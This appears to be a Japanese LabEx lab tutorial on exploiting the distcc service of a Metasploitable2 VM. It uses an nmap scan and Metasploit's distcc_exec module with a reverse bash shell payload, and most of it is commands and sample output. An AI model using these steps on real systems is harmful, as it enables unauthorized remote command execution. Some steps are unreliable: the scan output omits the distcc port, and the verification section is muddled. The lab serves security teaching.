Nmap を使用した Metasploitable2 のペネトレーションテストの実施

NmapBeginner
オンラインで実践に進む

はじめに

この実験では、Kali ターミナルを使用して、LabEx が提供する Metasploitable2 ターゲットマシンに対してペネトレーションテストを実施します。主に、Distcc サービスを攻撃する原理とプロセスを理解することに焦点を当てます。実験の最後には、推奨読書と宿題が用意されています。

ラボ環境を起動する

  1. LabEx ホストマシン上で xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2

ターゲットマシンが起動するのを待ちます。起動には 1 ~ 3 分かかる場合があります。

  1. ターゲットマシンに対して ping を実行し、接続性をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. 以下のコマンドを実行して、Kali Linux コンテナを起動し、bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

これで攻撃マシンとターゲットマシンの両方が起動しており、ペネトレーションテストを開始することができます。

注意: 現在の bash を誤って終了した場合、Kali コンテナは自動的に停止します。ホスト上で再度 docker run -ti --network host b5b709a49cd5 bash を実行することで、新しい Kali コンテナを起動し、bash に入って実験を続行することができます。

ペネトレーションテストを実行する

Distcc サービスの脆弱性の原理:

Distcc は、ネットワーク上のサーバーで大規模なコードベースの分散コンパイルに使用されます。しかし、誤った設定がされている場合、コマンドを実行するために悪用される可能性があります。この脆弱性は、サーバーポートにアクセス制限がないため、XCode 1.5 やその他の Distcc 2.x バージョンに存在します。

簡単に言えば、このサービスはポートと実行されるタスクに対する適切なチェックが不足しており、攻撃者が分散コンパイルタスクを利用して独自のコマンドを実行することを可能にします。

脆弱性情報:

脆弱性攻撃モジュールのコード:

まず、msfconsole を起動して操作インターフェイスに入ります。

cd ~
msfconsole

Nmap スキャンツールを使用して、ターゲットホストの開放されているポートをスキャンします。

nmap -sV -T4 192.168.122.102

以下は、出力結果の例です。

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp   open  domain  ISC BIND 9.4.2
111/tcp  open  rpcbind 2 (RPC #100000)
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds

スキャン結果に基づいて、攻撃したいポートサービスに対応するモジュールを検索します。

search distcc

Kali MSF ターミナルで、use コマンドを使用して適切なモジュールを選択します。

use exploit/unix/misc/distcc_exec

次に、show options コマンドを使用してモジュールのパラメータを表示します。

show options

以下は、出力結果の例です。

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
                                       it.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.140.88    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

ターゲットホストのパラメータ RHOST を 192.168.122.102 に設定します。

set RHOST 192.168.122.102

すべての設定が完了したら、exploit コマンドを使用してホストを攻撃します。

exploit

Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します

ペネトレーションの成功を確認する

ペネトレーションが成功したかどうかを確認するには、以下のコマンドを使用します:whoamihostname、および ifconfig (IP アドレスを確認するため):

まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動する必要があります。

cd ~
msfconsole

現在のユーザーを確認します。

whoami

ホスト名を確認します。

root

攻撃対象のホストの IP アドレスを確認します。

ifconfig

ホスト名と IP アドレスがターゲットマシン (192.168.122.102) と一致する場合、ペネトレーションテストが成功したことを示します。

Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します

まとめ

この実験では、Distcc サービスを攻撃する原理とプロセスについて学びました。Nmap を用いたペネトレーションスキャン、Metasploit を使った Distcc の脆弱性の悪用、およびペネトレーションの成功の確認に関する実践的な経験を得ました。この実験により、脆弱性分析と悪用技術について実践的な理解を深めることができました。